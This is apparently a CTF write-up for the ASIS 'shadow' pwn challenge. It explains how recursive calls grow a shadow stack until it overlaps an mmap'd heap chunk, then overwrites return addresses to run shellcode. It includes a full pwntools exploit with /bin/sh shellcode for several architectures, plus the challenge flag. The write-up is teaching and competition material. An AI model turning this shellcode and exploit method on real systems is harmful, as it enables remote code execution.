Category: pwn
Points: 99
32 bit ELF, with no NX, PIE, RELRO protection. The program will first use mmap
to allocate a range of memory and treat it as a shadow stack, which stores the function return addresses.
In the main function the program first ask us to input our name (the buffer was placed in the .bss section), then give us two choice:
- Add a beer. This one will first ask us to input the beer description length, then let us input our own beer description.
- Read/Modify beer desription. Here we first choose one of our beer, and the program will print out the beer description. After that we can choose if we want to modify the beer description or not.
So where’s the vulnerability? The program has malloc
in the add beer function, but it doesn’t have free
in the entire program, so it’s probably not UAF. There’s a stack overflow in the beer description function though, but the binary has enabled the stack guard protection, so it’s kind of hard for us to bypass the canary check. But then I took a good look at the beer description function, and found that we can call the function recursively, by keep entering an invalid choice. This will cause the shadow stack keep “growing up”.
And how’s that gonna help us to exploit the service? Well, first of all we know that the malloc
function in libc will call mmap
instead for the large size memory allocation ( over 0x20000 bytes). Since the add beer function use malloc
to allocate memory for our beer description, we could try to create a super long beer description. This will make malloc
call mmap
instead, and the allocated memory page will be placed just right before the last mmap memory page, which is the shadow stack. If we can make the shadow stack keep “growing up”, it will eventually overlapped with the memory page of our beer description. Since we can control (modify) the beer description, we can then modify the saved return address and change it to the name
buffer, which we input our shellcode instead.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "shadow.asis-ctf.ir"
PORT = 31337
ELF_PATH = "./shadow"
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
def my_recvuntil(s, delim):
res = ""
while delim not in res:
c = s.recv(1)
res += c
sys.stdout.write(c)
sys.stdout.flush()
return res
def myexec(cmd):
return subprocess.check_output(cmd, shell=True)
def sc(arch=context.arch):
if arch == "i386":
# shellcraft.i386.linux.sh(), null free, 22 bytes
return "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
elif arch == "amd64":
# shellcraft.amd64.linux.sh(), null free, 24 bytes
return "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05"
elif arch == "arm":
# null free, 27 bytes
return "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x09\x30\x49\x40\x52\x40\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
elif arch == "aarch64":
# 4 null bytes, total 35 bytes
return "\x06\x00\x00\x14\xe0\x03\x1e\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x21\x00\x00\xd4\xfb\xff\xff\x97\x2f\x62\x69\x6e\x2f\x73\x68"
else:
return None
def add_one(size, desr):
r.sendline("1")
log.info("send desc length")
r.sendlineafter("length?\n", str(size))
log.info("send desc")
r.send(desr)
if __name__ == "__main__":
shellcode_addr = 0x0804a520
shellcode = sc()
r = remote(HOST, PORT)
#r = process(ELF_PATH)
log.info("send name (shellcode)")
r.sendlineafter("name?\n", shellcode)
r.recvuntil("it?\n")
log.info("add one beer")
add_one(0x20000, "A"*(0x20000-4)+"BBBB")
r.recvuntil("beer uploaded to the memory!\n")
r.recvuntil("0\n")
log.info("add beer done")
log.info("choose desc")
r.sendline("2") # choose desc
r.sendline("0") # input index
log.info("recieving BBBB")
print r.recvuntil("BBBB")
log.info("recieving rest output")
print r.recvuntil("\n")
print r.recvline()
log.info("start stacking stack")
maxx = 80000
for i in xrange(maxx):
check = i% 10000
if check == 0:
print i
r.sendline("z")
r.sendline('y')
r.send(p32(shellcode_addr)*(0x20000/4))
r.interactive()
After I finshed my exploit, I found that it will timeout due to the crappy internet connection, so I have to upload my exploit to trello and ask my teammate freetsubasa to send the payload for me XD
Anyway the flag is: ASIS{732f9beb138dbca4e44d5d184c3074dc}
Comments powered by Disqus.